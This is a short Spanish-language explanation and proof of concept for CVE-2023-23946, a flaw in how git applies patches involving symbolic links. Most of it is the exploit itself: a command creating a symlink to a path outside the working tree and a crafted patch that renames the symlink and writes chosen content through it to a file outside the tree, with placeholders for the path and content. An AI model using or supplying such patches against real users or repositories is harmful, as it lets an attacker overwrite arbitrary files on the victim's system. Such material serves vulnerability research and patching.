
Explicación y POC del CVE-2023-23946
Explicación y PoC de la CVE-2023-23946
La vulnerabilidad CVE-2023-23946 es causada por un fallo en la forma en que git maneja los enlaces simbólicos. Cuando git crea un enlace simbólico, en realidad no lo maneja como un enlace simbólico y, debido a eso, podemos explotarlo para apuntar a archivos fuera del árbol de trabajo.
ln -s [PATH_YOU_WANT_TO_ACCESS_OUTSITE_WORKING_TREE] symlink
diff --git a/symlink b/newsymlink
rename from symlink
rename to newsymlink
--
diff --git /dev/null b/newsymlink/spawn
new file mode 100644
index 0000000..e47f4ea
--- /dev/null
+++ b/newsymlink/[FILE_OUTSIDE]
@@ -0,0 +1 @@
+[WHAT_YOU_WANT_INSIDE_THE_FILE]
\ No newline at end of file
¿Qué hace el parche? Cambiamos el nombre del enlace simbólico existente y creamos un archivo nuevo. De esta manera, cuando modificamos /newsymlink/[FILE_OUTSIDE], git no aplica sus protecciones contra enlaces simbólicos.